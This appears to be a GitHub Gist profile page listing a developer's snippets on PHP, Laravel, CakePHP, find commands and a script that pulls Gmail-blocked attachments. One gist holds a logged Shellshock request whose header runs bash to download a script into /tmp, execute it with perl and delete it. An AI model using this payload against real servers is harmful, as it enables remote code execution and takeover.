Skip to content

Instantly share code, notes, and snippets.

View saji89's full-sized avatar

Saji Nediyanchath saji89

View GitHub Profile
saji89 /
Created August 28, 2018 18:36 — forked from stefansundin/
Extract attachments from emails that Gmail doesn't allow you to download. This is dumb. Please use Python >= 3.4.
#!/usr/bin/env python3
# Get your files that Gmail block. Warning message:
# "Anti-virus warning - 1 attachment contains a virus or blocked file. Downloading this attachment is disabled."
# Based on:
# Instructions:
# Go to your emails, click the arrow button in the top right, "Show original", then "Download Original".
# Move the files to the same directory as this program, then run it.
import email
saji89 /
Last active May 1, 2023 21:32
Steps to setup PHP code sniffer package in Sublime text


  1. Install the package using Package Control - PhpCs(sublime-phpcs)

  2. Download the phar files needed for the functioning of the plugin:

curl -OL
curl -OL
saji89 / Laravel\app\commands\ViewsCommand.php
Created June 10, 2016 12:37 — forked from cjonstrup/Laravel\app\commands\ViewsCommand.php
Clear Laravel 4.* app/storage/views artisan views:clear
use Illuminate\Console\Command;
use Illuminate\Filesystem\Filesystem;
class ViewsCommand extends Command {
* The console command name.
* @var string
saji89 / json_unicode_decode.php
Created October 15, 2015 06:41
Unicode encoded value conversion
function unescapeUTF8EscapeSeq($str)
return preg_replace_callback("/\\\u([0-9a-f]{4})/i",
'return html_entity_decode(\'&#x\'.$matches[1].\';\', ENT_QUOTES, \'UTF-8\');'
), $str);
$unicodeEncodedvalue = '\u041d\u0438\u043a\u043e\u043b\u0430\u0439 \u0420\u0435\u0448\u0438\u0442\u043a\u043e';
saji89 /
Last active August 29, 2015 14:08
Cake PHP Conventions

Controller class names

Plural, CamelCased, and end in Controller

Multiword Controller URLS's

Multiple word controllers can be any ‘inflected’ form which equals the controller name so:

saji89 /
Created October 3, 2014 06:14
Commands of interest
    find . \( -name "*.c" -o -name "*.h" -o -name "*.sc" -o -name "*.ini" \) -print
    find . -type f \( -name "*.avi" -name "*.mp4" -name "*.mkv" -name "*.mpg" -name "*.mpeg"\)
saji89 /
Last active August 29, 2015 14:07
Abstract class vs Interface (In PHP)
Abstract Class Interface
A method must be declared as abstract. Abstract methods doesn't have any implementation All methods, by default are abstract methods only. So, one cannot declare variables or concrete methods in interfaces
Abstract methods can be declared with access modifiers like public, private, protected. When implementing in subclass these methods must be defined with the same visibility All methods in an interface must be declared public
Abstract class can contain variables and concrete methods Interface cannot contain variables and concrete methods, except constants
A class can inherit only one abstract class ( multiple inheritance is not possible ) A class can implement, many interfaces ( multiple inheritance is possible )


Abstract class

saji89 / abstract vs interface
Created October 1, 2014 09:41
abstract vs interface
| Tables | Are | Cool |
| ------------- |:-------------:| -----:|
| col 3 is | right-aligned | $1600 |
| col 2 is | centered | $12 |
| zebra stripes | are neat | $1 |
saji89 / jur
Last active August 29, 2015 14:06
GET /cgi-bin/hello HTTP/1.0" 301 0 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget;curl -O ; perl /tmp/jur;rm -rf /tmp/jur\x22
saji89 / Pure-CSS-Taj-Mahal.markdown
Created April 19, 2014 12:27
A Pen by jan dennison.

Pure CSS Taj Mahal

Pure CSS Taj Mahal by Jan Dennison @jannypie Inspired by the pure CSS White House by Kevin Jannis @kevinjannis

A Pen by jan dennison on CodePen.